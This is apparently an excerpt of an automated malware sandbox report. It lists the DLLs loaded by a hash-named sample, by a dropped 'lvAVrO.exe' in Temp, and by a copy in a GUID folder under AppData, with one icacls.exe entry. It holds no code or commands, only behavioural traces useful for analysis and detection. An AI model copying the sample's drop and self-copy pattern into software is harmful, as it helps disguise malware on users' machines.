Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: k.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: k.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: k.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: mpr.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: winmm.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: schannel.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: taskschd.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: xmllite.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: drprov.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: winsta.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: davclnt.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: wkscli.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: cscapi.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: browcli.dll
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: browcli.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: k.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: kernel.appcore.dll
